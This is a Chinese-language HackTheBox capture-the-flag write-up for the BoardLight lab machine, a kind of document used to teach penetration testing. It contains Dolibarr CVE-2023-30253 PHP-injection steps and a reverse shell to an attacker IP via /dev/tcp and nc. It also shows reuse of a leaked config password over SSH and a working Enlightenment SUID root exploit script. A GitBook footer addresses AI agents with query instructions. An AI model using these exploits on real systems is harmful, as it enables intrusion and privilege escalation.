> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md). # BoardLight HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能：** * 子域枚举 * Dolibarr 17.0.0 利用 - CVE-2023-30253 * 信息泄露（用户横向移动） * Enlightenment SUID 二进制利用（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```bash nmap -sCV -p22,80 10.10.11.11 -oN targeted ```

## 端口 80 - HTTP **使用 WhatWeb 分析：** 我们识别出一封包含域名的电子邮件： `board.htb`.

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

## Web 枚举 **使用 Feroxbuster 搜索目录：** ```bash feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 未找到相关结果。

**使用 Gobuster 枚举子域名：** ```bash gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 ``` 我们发现了一个子域名： `crm.board.htb`..

我们将其添加到 `/etc/hosts`

## Dolibarr CMS 漏洞

**无需认证连接：** 使用随机凭据的连接尝试会以管理员身份登录，但没有权限。

### **手动利用** **创建恶意站点：** 在站点创建部分，我们插入恶意 PHP 代码：

```php

```

我们确认了命令的执行。

**反向 Shell：** 监听： ```bash nc -nvlp 443 ``` 反向 shell 的 PHP 代码： ```php %26 /dev/tcp/10.10.14.47/443 0>%261"']); ?> ```

### **自动化利用** {% embed url="" %} **安装依赖：** ```bash pip3 install -r requirements.txt ``` **执行脚本：** 测试命令（whoami） ```bash python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami ```

#### 反向 Shell ```bash python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443 ```

#### 终端稳定化 ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 用户横向移动 - Larissa 目标是切换到用户 **larissa**.

### 信息枚举在 `web` 目录位于 `htbdocs`，我们找到一个名为 `conf` 的文件夹，其中包含一个 **conf.php** 文件。该文件包含以下信息：

* 密码： `serverfun2$2023`!! #### SSH 连接有了获取到的信息，我们尝试通过 SSH 连接到机器： ```bash ssh larissa@10.10.11.11 ``` **结果：** 连接成功。

### user.txt 标志 :)

## 权限提升 ### SUID - Enlightenment 我们先搜索归我们用户所有的 SUID 文件。为此，运行以下命令： ```bash find / -perm -4000 2>/dev/null ``` 分析输出后，我们注意到存在 **enlightenment** 二进制文件。

我们正在研究与该二进制文件相关的漏洞。经过一些检索，我们找到了适用于版本 **0.25.4**. {% embed url="" %}

然而，检查系统上当前安装的 Enlightenment 版本后，我们发现它是版本 **0.23.1**，一个较旧的版本。

我们正在测试以下利用代码来利用该漏洞： ```bash #!/usr/bin/bash file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys" mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit" echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net rm -rf /tmp/exploit rm -rf /tmp/net ``` ```bash ./exploit.sh ``` 运行利用代码后，我们获得了 root 权限的 shell。

### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.